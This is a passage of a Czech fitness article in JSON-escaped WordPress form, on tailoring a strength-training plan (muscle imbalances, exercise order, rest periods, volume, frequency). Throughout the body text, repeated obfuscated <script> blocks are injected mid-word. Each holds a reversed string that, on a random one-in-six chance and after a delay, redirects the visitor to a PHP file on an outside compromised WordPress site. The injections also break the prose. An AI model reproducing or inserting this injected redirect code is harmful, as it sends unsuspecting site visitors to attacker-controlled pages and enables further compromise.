proh\u00fdb\u00e1te v\u00a0bedrech, mohou sehr\u00e1t negativn\u00ed roli.<\/p>\n<p>I s\u00a0ohledem na takov\u00e1 specifika je pak t\u0159eba tr\u00e9nink sestavovat.<\/p>\n<p><strong>Me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>todou pokus\u016f a omyl\u016f najdete cviky vyhovuj\u00edc\u00ed va\u0161\u00ed t\u011blesn\u00e9 struktu\u0159e a tr\u00e9ninkov\u00fdm c\u00edl\u016fm. <\/strong><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>Svalov\u00e9 dysbalance<\/strong><\/li>\n<\/ul>\n<p>S\u00a0nevyv\u00e1\u017een\u00fdm rozvojem jednotliv\u00fdch svalov\u00fdch parti\u00ed se pot\u00fdk\u00e1 spousta lid\u00ed. A ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tory byste rozhodn\u011b m\u011bli br\u00e1t v\u00a0potaz. Pom\u011brn\u011b \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou dysbalanc\u00ed b\u00fdv\u00e1 tzv. \u201et\u011b\u017e\u0161\u00ed spodek\u201c, tzn. hmota soust\u0159ed\u011bn\u00e1 v\u00a0doln\u00ed polovin\u011b t\u011bla. Kdybyste v\u00a0takov\u00e9 situaci p\u0159i tr\u00e9ninku v\u011bnovali d\u0159ep\u016fm a mrtv\u00e9mu tahu stejnou pozornost jako z\u00e1kladn\u00edm cvik\u016fm na horn\u00ed polovinu t\u011bla, probl\u00e9m by se nejsp\u00ed\u0161 je\u0161t\u011b zhor\u0161il. \u0158e\u0161en\u00edm je prov\u00e1d\u011bn\u00ed d\u0159ep\u016f ve velmi vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed a jen jednou t\u00fddn\u011b (klidn\u011b 100 opakov\u00e1n\u00ed s\u00a0lehkou v\u00e1hou), zat\u00edmco s\u00e9rie s\u00a0vy\u0161\u0161\u00ed v\u00e1hou a ni\u017e\u0161\u00edm po\u010dtem opakov\u00e1n\u00ed si nech\u00e1te na cviky aktivuj\u00edc\u00ed z\u00e1da a hrudn\u00edk.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>Po\u0159ad\u00ed a po\u010det cvik\u016f<\/strong><\/li>\n<\/ul>\n<p>U za\u010d\u00e1te\u010dn\u00edk\u016f je t\u0159eba v\u011bnovat pozornost p\u0159edev\u0161\u00edm <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, aby v\u00a0jednom tr\u00e9ninku neza\u0159azovali cviky, kter\u00e9 jsou si velmi podobn\u00e9. M\u00e1te-li v\u00a0rozpisu mrtv\u00fd tah s\u00a0pokr\u010den\u00fdma nohama, u\u017e ur\u010dit\u011b neprov\u00e1d\u011bjte mrtv\u00fd tah s\u00a0nohama nata\u017een\u00fdma. Kv\u016fli lep\u0161\u00ed flexibilit\u011b m\u016f\u017eete za\u0159adit p\u0159\u00edpadn\u011b lehkou s\u00e9rii na prota\u017een\u00ed, ale ne cvi\u010den\u00ed s\u00a0velkou v\u00e1hou.<\/p>\n<p>Jestli\u017ee za\u0159azujete bench press na rovn\u00e9 lavici, nedopl\u0148ujte ho bench pressem na lavici naklon\u011bn\u00e9 nebo hlavou dol\u016f. V\u00a0p\u0159\u00edpad\u011b cvik\u016f na hrudn\u00edk-ramena-tricepsy se sna\u017ete zpo\u010d\u00e1tku vysta\u010dit se dv\u011bma \u2013 nap\u0159\u00edklad s\u00a0bench pressem a kliky na bradlech.<\/p>\n<p>Co se t\u00fd\u010de po\u0159ad\u00ed, obvykle se postupuje od nejv\u011bt\u0161\u00edch svalov\u00fdch parti\u00ed, vy\u017eaduj\u00edc\u00edch nejv\u00edce kontroly, s\u00edly a soust\u0159ed\u011bn\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>Pauzy mezi s\u00e9riemi<\/strong><\/li>\n<\/ul>\n<p>Teoreticky nejsp\u00ed\u0161 zn\u00e1te oba extr\u00e9my. Tedy tr\u00e9nink v\u00a0tempu s prakticky nulov\u00fdmi pauzami mezi s\u00e9riemi, stejn\u011b jako tr\u00e9nink, p\u0159i n\u011bm\u017e je v\u00a0centru pozornosti vysok\u00e1 z\u00e1t\u011b\u017e a ta vy\u017eaduje dostate\u010dn\u011b dlouh\u00fd odpo\u010dinek, abyste s\u00a0n\u00ed zvl\u00e1dli dal\u0161\u00ed s\u00e9rie. Rychl\u00fd tr\u00e9nink zcela logicky nep\u0159eje silov\u00fdm v\u00fdkon\u016fm a naopak.<\/p>\n<p>Spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci, jejich\u017e c\u00edlem je budovat hmotu, obvykle mezi s\u00e9riemi na men\u0161\u00ed svaly odpo\u010d\u00edvaj\u00ed dv\u011b minuty, pokud jde o procvi\u010den\u00ed sval\u016f velk\u00fdch, pak se pauza prot\u00e1hne a\u017e na \u010dty\u0159i minuty. Krat\u0161\u00ed p\u0159est\u00e1vky dr\u017e\u00ed jen mezi zah\u0159\u00edvac\u00edmi s\u00e9riemi.<\/p>\n<p>D\u016fle\u017eit\u00e9 ale je, abyste <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to s\u00a0odpo\u010dinkem nep\u0159ehnali. Takov\u00e9 cvi\u010den\u00ed by vedlo ke stagnaci \u010di k\u00a0poklesu s\u00edly a ztr\u00e1t\u00e1m svalov\u00e9 hmoty.<\/p>\n<p><strong>Vych\u00e1zejte z\u00a0obecn\u00fdch doporu\u010den\u00ed a sledujte reakce sv\u00fdch sval\u016f i moment\u00e1ln\u00ed pocity p\u0159i tr\u00e9ninku. V\u00a0horizontu n\u011bkolika t\u00fddn\u016f bezpochyby sami vysledujete, co v\u00e1m osobn\u011b nejv\u00edce vyhovuje. <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>T\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u00e1r jednoduch\u00fdch doporu\u010den\u00ed by v\u00e1m m\u011blo pomoci hledat vlastn\u00ed cestu k\u00a0napln\u011bn\u00ed sv\u00e9ho potenci\u00e1lu. Ne nadarmo <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik \u00fasp\u011b\u0161n\u00fdch kulturist\u016f \u0159\u00edk\u00e1, \u017ee cvi\u010dit je t\u0159eba chyt\u0159e a rozhodn\u011b ned\u00e1v\u00e1 smysl kop\u00edrovat n\u011b\u010d\u00ed tr\u00e9nink. Vy tr\u00e9nujete se sv\u00fdm t\u011blem, vych\u00e1z\u00edte ze sv\u00fdch mo\u017enost\u00ed a m\u011bli byste pracovat s\u00a0t\u00edm, co m\u00e1te k\u00a0dispozici. Jen budete muset chv\u00edli hledat ten spr\u00e1vn\u00fd p\u0159\u00edstup.<\/strong><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kdyby fakt, \u017ee budete CVI\u010cIT JAKO JAY CUTLER NEBO RONNIE COLEMAN,\u00a0znamenal, \u017ee budete taky VYPADAT JAKO TIHLE BORCI,\u00a0bylo by to p\u0159\u00edli\u0161 jednoduch\u00e9. D\u00e1vno v\u00edte, \u017ee na v\u00fdsledc\u00edch tr\u00e9ninku se mnohem v\u00edce odr\u00e1\u017eej\u00ed jin\u00e9 faktory ne\u017e to, jak\u00fdm cvi\u010debn\u00edm programem jste se inspirovali. A taky u\u017e jste se ur\u010dit\u011b d\u00e1vno sm\u00ed\u0159ili s\u00a0krutou pravdou, \u017ee neexistuje jeden funk\u010dn\u00ed tr\u00e9ninkov\u00fd model platn\u00fd pro v\u0161echny. Dokonce ani mnoha lidmi oslavovan\u00fd pl\u00e1n pro hard-gainery z\u00a0n\u00e1s nemus\u00ed ud\u011blat svalovce. A\u0165 se v\u00e1m do rukou dostane jak\u00fdkoliv rozpis tr\u00e9ninku, ide\u00e1ln\u011b byste si ho m\u011bli upravit na m\u00edru sami sob\u011b \u2013 tzv. ho personalizovat. &nbsp; BEZ PERSONALIZACE TO NEP\u016eJDE Cvi\u010debn\u00ed pl\u00e1n m\u00e1 \u0159adu prom\u011bnn\u00fdch: \u00d8 cviky; \u00d8 po\u010det s\u00e9ri\u00ed a opakov\u00e1n\u00ed; \u00d8 intenzitu; \u00d8 frekvenci tr\u00e9ninku; \u00d8 velikost z\u00e1t\u011b\u017ee. &nbsp; S\u00a0nimi byste se m\u011bli nau\u010dit spr\u00e1vn\u011b pracovat a upravovat je k\u00a0obrazu sv\u00e9mu. M\u016f\u017eeme v\u00e1m na str\u00e1nk\u00e1ch \u010dasopisu p\u0159in\u00e9st detailn\u00ed rozpisy nejlep\u0161\u00edch sv\u011btov\u00fdch z\u00e1vodn\u00edk\u016f, ale pro v\u00e1s to budou bezcenn\u00e9 informace, kdy\u017e je nebudete um\u011bt zpracovat. D\u016fvody jsou jasn\u00e9: \u00d8 ka\u017ed\u00fd \u010dlov\u011bk je jin\u00fd a pot\u0159ebuje k\u00a0dosa\u017een\u00ed v\u00fdsledk\u016f individu\u00e1ln\u00ed tr\u00e9ninkov\u00e9 podn\u011bty; \u00d8 dokonce ani jednovaje\u010dn\u00e1 dvoj\u010data nebudou na cvi\u010den\u00ed reagovat zcela identicky. &nbsp; V\u00a0r\u00e1mci personalizace tr\u00e9ninku mus\u00edte zohlednit zejm\u00e9na zcela z\u00e1kladn\u00ed parametry, jako je: \u00d8 v\u011bk, \u00d8 genetick\u00e9 p\u0159edpoklady pro budov\u00e1n\u00ed svalov\u00e9 hmoty, \u00d8 slabiny zp\u016fsoben\u00e9 prod\u011blan\u00fdm zran\u011bn\u00edm, \u00d8 schopnost \u010delit bolesti, kter\u00e1 tr\u00e9nink prov\u00e1z\u00ed, \u00d8 \u00farove\u0148 motivace, \u00d8 n\u00e1roky kladen\u00e9 ze strany pr\u00e1ce\/studia, rodiny atd., \u00d8 mo\u017enosti regenerace, \u00d8 finan\u010dn\u00ed rozpo\u010det, \u00d8 doba, kterou je mo\u017en\u00e9 cvi\u010den\u00ed v\u011bnovat, \u00d8 tr\u00e9ninkov\u00e9 zku\u0161enosti, \u00d8 dostupn\u00e9 cvi\u010debn\u00ed vybaven\u00ed. &nbsp; Je nad slunce jasn\u00e9, \u017ee \u00fapln\u011b jin\u00e9 cvi\u010debn\u00ed mo\u017enosti bude m\u00edt p\u011btadvacetilet\u00fd, svobodn\u00fd student v\u00a0porovn\u00e1n\u00ed s\u00a0p\u011btat\u0159icetilet\u00fdm \u017eenat\u00fdm mu\u017eem, otcem dvou d\u011bt\u00ed, ve stresuj\u00edc\u00ed funkci mana\u017eera n\u011bjak\u00e9 firmy. &nbsp; JAK PERSONALIZOVAT? Samoz\u0159ejm\u011b to nep\u016fjde bez obecn\u00fdch z\u00e1klad\u016f, na kter\u00fdch budete stav\u011bt a d\u00edky zku\u0161enostem a postupn\u011b dosahovan\u00fdm v\u00fdsledk\u016fm je m\u016f\u017eete upravovat tak, aby pln\u011b vyhovovaly va\u0161im mo\u017enostem a p\u0159edpoklad\u016fm. &nbsp; Objem tr\u00e9ninku V\u011bt\u0161ina sportovc\u016f na sebe nahl\u00ed\u017e\u00ed jako na hardgainery, jen v\u00fdjime\u010dn\u011b v\u00e1m n\u011bkdo \u0159ekne, \u017ee on nab\u00edr\u00e1 hmotu dob\u0159e a snadno. Mnohem snaz\u0161\u00ed toti\u017e je ukr\u00fdt se (kapku alibisticky) pod p\u0159\u00edv\u011btiv\u00e1 k\u0159\u00eddla nep\u0159ej\u00edc\u00ed genetiky a sv\u00e1d\u011bt p\u0159\u00edpadn\u00e9 ne\u00fasp\u011bchy na matku p\u0159\u00edrodu. Pokud se ale m\u00e1te pohnout kup\u0159edu, budete se muset pokusit pod\u00edvat pravd\u011b do o\u010d\u00ed. Re\u00e1ln\u00e9 zhodnocen\u00ed toho, do jak\u00e9 m\u00edry opravdu pat\u0159\u00edte mezi hardgainery, je toti\u017e pro stanoven\u00ed spr\u00e1vn\u00e9ho objemu tr\u00e9ninku zcela nezbytn\u00e9. Plat\u00ed, \u017ee \u010d\u00edm obt\u00ed\u017en\u011bji nab\u00edr\u00e1te hmotu, t\u00edm men\u0161\u00ed objem by m\u011bl m\u00edt v\u00e1\u0161 tr\u00e9nink. &nbsp; D\u00e1v\u00e1 tedy smysl za\u010d\u00edt zhruba 6-8 cviky v\u00a0jedn\u00e9 tr\u00e9ninkov\u00e9 jednotce (\u010dty\u0159i z\u00e1kladn\u00ed cviky a dva dopl\u0148kov\u00e9). Cvi\u010dit budete dvakr\u00e1t t\u00fddn\u011b. Jestli\u017ee takov\u00fd rozpis p\u0159inese n\u00e1r\u016fst sval\u016f, nemus\u00edte p\u0159em\u00fd\u0161let o sn\u00ed\u017een\u00ed objemu tr\u00e9ninku. &nbsp; Jak\u00fdm zp\u016fsobem je mo\u017en\u00e9 manipulovat s\u00a0objemem tr\u00e9ninku? SN\u00cd\u017dEN\u00cd OBJEMU\u00a0 ZV\u00dd\u0160EN\u00cd OBJEMU\u00a0 omezen\u00ed po\u010dtu cvik\u016f nav\u00fd\u0161en\u00ed po\u010dtu cvik\u016f zachov\u00e1n\u00ed tr\u00e9ninkov\u00fdch jednotek, ale za\u0159azen\u00ed del\u0161\u00edch pauz mezi tr\u00e9ninky vynech\u00e1n\u00ed dn\u016f volna, tak\u017ee v\u00a0r\u00e1mci t\u00fddne za\u0159ad\u00edte v\u00edce tr\u00e9nink\u016f sn\u00ed\u017een\u00ed po\u010dtu prov\u00e1d\u011bn\u00fdch s\u00e9ri\u00ed zv\u00fd\u0161en\u00ed po\u010dtu s\u00e9ri\u00ed v\u00a0r\u00e1mci dan\u00e9ho tr\u00e9ninku &nbsp; Ka\u017edop\u00e1dn\u011b plat\u00ed, \u017ee pro skute\u010dn\u00e9 hardgainery jsou dva tr\u00e9ninky t\u00fddn\u011b p\u0159\u00ednosn\u011bj\u0161\u00ed ne\u017e t\u0159i. A to i za p\u0159edpokladu, \u017ee by ve t\u0159ech tr\u00e9ninc\u00edch za\u0159azovali r\u016fzn\u00e9 cviky. V\u00edce ne\u017e t\u0159i posilovac\u00ed tr\u00e9ninky v\u00a0t\u00fddnu jsou pro pr\u016fm\u011brn\u00e9 rekrea\u010dn\u00ed cvi\u010dence z\u00a0kategorie za\u010d\u00e1te\u010dn\u00edk\u016f kontraproduktivn\u00ed. Pokud u\u017e n\u011bkdo z\u00a0hardgainer\u016f opravdu tou\u017e\u00ed po t\u0159ech tr\u00e9ninc\u00edch t\u00fddn\u011b, m\u011bl by prost\u0159edn\u00ed tr\u00e9nink v\u011bnovat pouze dopl\u0148kov\u00fdm cvik\u016fm a dva okrajov\u00e9 tr\u00e9ninky (nap\u0159\u00edklad pond\u011bl\u00ed a p\u00e1tek) postavit na cvic\u00edch z\u00e1kladn\u00edch. Experimentujte, ve\u010fte si tr\u00e9ninkov\u00fd den\u00edk, analyzujte svoje pokroky a \u0159i\u010fte se vlastn\u00edmi zku\u0161enostmi. &nbsp; Frekvence tr\u00e9ninku Realita je takov\u00e1, \u017ee spousta lid\u00ed cvi\u010d\u00ed \u010dast\u011bji, ne\u017e by m\u011bla. Nemohou se vzd\u00e1t my\u0161lenky, \u017ee \u201ev\u00edce znamen\u00e1 l\u00e9pe\u201c. Jen\u017ee pak sv\u00e9mu t\u011blu neposkytuj\u00ed dostatek \u010dasu na r\u016fst a regeneraci, \u010d\u00edm\u017e brzd\u00ed dosa\u017een\u00ed v\u00fdsledk\u016f a zvy\u0161uj\u00ed riziko zran\u011bn\u00ed. Pokud v\u00e1s brzd\u00edme v\u00a0tr\u00e9ninku, m\u011bli bychom zd\u016fraznit, \u017ee \u0159e\u010d je o tr\u00e9ninku posilovac\u00edm. Nikdo netvrd\u00ed, \u017ee nem\u00e1te mo\u017enost za\u0159adit jin\u00e9 sportovn\u00ed aktivity, j\u00edt si zaplavat nebo se projet na kole. V\u00a0p\u0159\u00edpad\u011b posilov\u00e1n\u00ed byste ale m\u011bli m\u00edt neust\u00e1le na mysli, \u017ee jde o cvi\u010den\u00ed velice n\u00e1ro\u010dn\u00e9 \u2013 n\u00e1ro\u010dn\u011bj\u0161\u00ed, ne\u017e si v\u011bt\u0161ina lid\u00ed dovede p\u0159edstavit. Mo\u017en\u00e1 \u010dtete o splitech prof\u00edk\u016f, jste ohromeni jejich dvouf\u00e1zov\u00fdm tr\u00e9ninkem a vyvozujete z\u00a0toho, \u017ee nikdy nem\u016f\u017eete vypadat jako oni p\u0159i t\u0159ech tr\u00e9ninc\u00edch t\u00fddn\u011b. Tenhle zp\u016fsob my\u0161len\u00ed je ale zcestn\u00fd. Nem\u016f\u017eete se porovn\u00e1vat se zku\u0161en\u00fdmi sportovci, kte\u0159\u00ed za sebou maj\u00ed dlouh\u00e9 roky tr\u00e9ninku, spoustu zku\u0161enost\u00ed a obvykle vynikaj\u00edc\u00ed genetick\u00e9 p\u0159edpoklady. Jako za\u010d\u00e1te\u010dnici \u010di m\u00edrn\u011b pokro\u010dil\u00ed prost\u011b nem\u016f\u017eete nic usp\u011bchat. Naopak si uv\u011bdomte, \u017ee tr\u00e9ninkov\u00fd pl\u00e1n nen\u00ed vytesan\u00fd do kamene. A personalizace spo\u010d\u00edv\u00e1 ve va\u0161\u00ed flexibilit\u011b a schopnosti zohlednit moment\u00e1ln\u00ed situaci. Jestli v\u00e1s po pond\u011bln\u00edm n\u00e1ro\u010dn\u00e9m tr\u00e9ninku potkaly dva vysiluj\u00edc\u00ed dny v\u00a0pr\u00e1ci, 